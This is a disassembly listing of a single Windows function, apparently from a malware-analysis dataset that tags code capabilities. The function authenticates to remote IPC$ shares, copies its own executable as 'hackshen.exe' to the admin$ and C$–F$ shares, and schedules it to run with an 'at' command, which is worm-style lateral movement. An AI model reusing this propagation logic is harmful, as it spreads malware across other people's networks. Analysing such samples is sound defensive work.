Function at 0x4094b0
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x670
mov eax, dword [0x446040]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push str.mpr.dll
mov dword [ebp - 0x648], edx
mov edi, ecx
mov dword [ebp - 0x64c], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.WNetAddConnection2A
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NULL
xorps xmm0, xmm0
mov dword [ebp - 0xc], 0
push esi
mov ebx, eax
movups xmmword [ebp - 0x1c], xmm0
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
test eax, eax
jne 0x409527
push 0x441616
lea eax, [ebp - 0x1c]
push str.__s_
push eax
call esi
add esp, 0xc
push 0x404
lea eax, [ebp - 0x634]
push 0
push eax
call fcn.004166e0
push 0x104
lea eax, [ebp - 0x22c]
push 0
push eax
call fcn.004166e0
push edi
lea eax, [ebp - 0x634]
push str._sipc_
push eax
call esi
add esp, 0x24
mov dword [ebp - 0x66c], 2
lea eax, [ebp - 0x634]
mov dword [ebp - 0x668], 0
mov dword [ebp - 0x658], eax
lea eax, [ebp - 0x66c]
mov dword [ebp - 0x664], 0
push 0
push dword [ebp - 0x648]
mov dword [ebp - 0x660], 1
push dword [ebp - 0x64c]
mov dword [ebp - 0x65c], 0x441616
push eax
mov dword [ebp - 0x650], 0
mov dword [ebp - 0x654], 0
call ebx
test ebx, ebx
je 0x4098f8
push 0x104
lea eax, [ebp - 0x124]
push 0
push eax
call fcn.004166e0
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x124]
add esp, 0xc
push 0x104
push eax
push 0
call ebx
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x404
lea eax, [ebp - 0x634]
push 0
push eax
call fcn.004166e0
push edi
lea eax, [ebp - 0x634]
push str._s_admin_hackshen.exe
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x22c]
push str.admin__
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x104
lea eax, [ebp - 0x124]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [ebp - 0x124]
push 0x104
push eax
push 0
call ebx
push 0
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x409875
push 0x404
push eax
lea eax, [ebp - 0x634]
push eax
call fcn.004166e0
push edi
lea eax, [ebp - 0x634]
push str._sC_hackshen.exe
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x22c]
push str.C:hackshen.exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x104
lea eax, [ebp - 0x124]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [ebp - 0x124]
push 0x104
push eax
push 0
call ebx
push 0
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x409875
push 0x404
push eax
lea eax, [ebp - 0x634]
push eax
call fcn.004166e0
push edi
lea eax, [ebp - 0x634]
push str._sD_hackshen.exe
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x22c]
push str.D:hackshen.exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x104
lea eax, [ebp - 0x124]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [ebp - 0x124]
push 0x104
push eax
push 0
call ebx
push 0
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x409875
push 0x404
push eax
lea eax, [ebp - 0x634]
push eax
call fcn.004166e0
push edi
lea eax, [ebp - 0x634]
push str._sE_hackshen.exe
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x22c]
push str.E:hackshen.exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x104
lea eax, [ebp - 0x124]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [ebp - 0x124]
push 0x104
push eax
push 0
call ebx
push 0
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x409875
push 0x404
push eax
lea eax, [ebp - 0x634]
push eax
call fcn.004166e0
push edi
lea eax, [ebp - 0x634]
push str._sF_hackshen.exe
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x22c]
push str.F:hackshen.exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x104
lea eax, [ebp - 0x124]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [ebp - 0x124]
push 0x104
push eax
push 0
call ebx
push 0
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x644]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x404
lea eax, [ebp - 0x634]
push 0
push eax
call fcn.004166e0
lea eax, [ebp - 0x22c]
push eax
movzx eax, word [ebp - 0x63a]
add eax, 2
push eax
movzx eax, word [ebp - 0x63c]
push eax
push edi
lea eax, [ebp - 0x634]
push str.at__s__d:_d__s
push eax
call esi
add esp, 0x24
lea eax, [ebp - 0x634]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x7d0
mov dword [0x448ce4], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004137fd
mov esp, ebp
pop ebp
ret